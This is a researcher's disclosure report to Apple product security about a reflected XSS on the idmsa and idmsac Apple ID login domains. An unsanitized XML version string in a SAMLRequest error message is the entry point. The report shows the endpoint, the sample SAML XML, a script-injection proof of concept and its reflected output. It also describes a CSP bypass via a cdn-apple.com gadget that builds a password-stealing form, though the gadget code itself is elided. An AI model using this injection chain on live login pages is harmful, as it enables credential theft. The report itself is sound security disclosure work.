
Urgent, XSS bypassing auditor on idmsa.apple.com / idmsac.apple.com due to SAML error. CSP-bypass using gadget from cdn-apple.com creating trustworthy password stealing form

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To: "product-security@apple.com" <product-security@apple.com>

Hi,

This was so much fun. Wow! Just a FYI, due to the fact that this is an XSS bypassing any XSS-auditor being on the login-domains idmsa/idmsac (which I would say are the most sensitive ones you have) I decided to put urgent in the title. It should be fixed immediately.

I noticed that there's some apps allowing SAML-connection with idmsa/idmsac.apple.com. They can generate a SAMLRequest and post it to:

...

<https://idmsa.apple.com/IDMSWebAuth/SAMLLogin?CertVersion=v2020>

...

The SAMLRequest parameter is a Base64 of the following XML:

...

```
<?xml version="1.0" encoding="UTF-8"?><samlp:AuthnRequest xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" AssertionConsumerServiceUR="https://apple-ads-console.lrn.com" ID="hello" IssueInstant="2021-02-15T13:50:04.889Z" Version="2.0"><ok></ok><saml:Issuer xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">3f0e13fd689327c6d225dbcd87ed00c098a4d3392d9e388746782fa0ad85b41d</saml:Issuer></samlp:AuthnRequest>
```

...

This page will actually unpack the SAMLRequest parameter and inject the parameters for it inside the DOM. These parameters are properly sanitized. However, when I tested just for fun, to change the `xml version` to something else, I noticed that the content was not sanitized:

...

```
<?xml version="2xxx<script>alert(document.domain)</script>ok.0" encoding="UTF-8"?>
```

...

gave the following output back:

...

```
<div class="tk-intro" style="font-size: 14px;color:#ff090f;">XML version "2xxx<script>alert(document.domain)</script>ok.0" is not supported, only XML 1.0 is supported.</div>
```

...

Wow! It seems like the XML-parser actually showed the full version you provided if it was not matching `1.0`. Okay. Let's move forward. This worked on both idmsa.apple.com and idmsac.apple.com (corp sign in for Apple employees).

I then noticed that the CSP on these two domains were pretty strict:

...

```
script-src 'self' https://*.cdn-apple.com https://ssl.apple.com https://www.apple.com ;
```

...

I then started looking around at `cdn-apple.com`. I found an interesting script. The following JS file:


...

```
.....
```




AppleConnect

Account Name Password



As you might understand, this is most likely the most important domains you have, since the user inserts their credentials on this page. The XSS we do here is bypassing XSS auditor since the payload is base64:ed, and the CSP is not broken, since we use an existing script from `*.cdn-apple.com`. I hope you understand the severity of having this XSS on the login domain.

Mitigation

Make sure all errors for the SAML flow is properly sanitized.

Regards,
Frans